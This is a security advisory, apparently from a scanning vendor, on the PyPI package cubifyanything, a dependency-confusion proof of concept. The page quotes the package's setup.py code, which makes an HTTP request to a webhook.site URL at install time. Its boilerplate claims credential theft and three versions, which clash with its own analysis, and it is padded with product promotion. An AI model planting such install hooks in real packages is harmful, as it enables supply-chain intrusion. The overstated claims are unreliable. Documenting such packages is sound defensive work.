cubifyanythingPyPI
Malicious code in cubifyanything (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
cubifyanything 1.0.1 is a dependency-confusion squat shipping no real functionality (top-level cubifyanything/init.py is 0 bytes) and a setup.py that installs a custom install command class which performs an HTTP GET to a webhook.site URL at install time, reporting that the package was installed on the target host. setup.py lines 7-10 contain webhook_url = "https://webhook.site/SƏNİN_WEBHOOK_LİNKİN" followed by urllib.request.urlopen(f"{webhook_url}?status=cubifyanything_installed", timeout=5), fired automatically from a cmdclass override during pip install. The package self-describes as 'Dependency Confusion PoC' with author 'Security Researcher'. Although the placeholder token in the URL (Azerbaijani for 'YOUR_WEBHOOK_LINK') means the specific URL likely fails DNS resolution in this copy, the package's design — claim a name expected to resolve to an internal/private package, ship empty code, and beacon to an attacker-controlled webhook host on install — is the canonical dependency-confusion attack shape and produces install-time outbound traffic from the installer's machine to a third-party endpoint.
Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
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The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
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The package overrides the install command in setup.py to execute malicious code during installation.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cubifyanything (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cubifyanything across your stack and pipelines.
If you installed it — respond
cubifyanything is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cubifyanything was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cubifyanything before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks cubifyanything-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.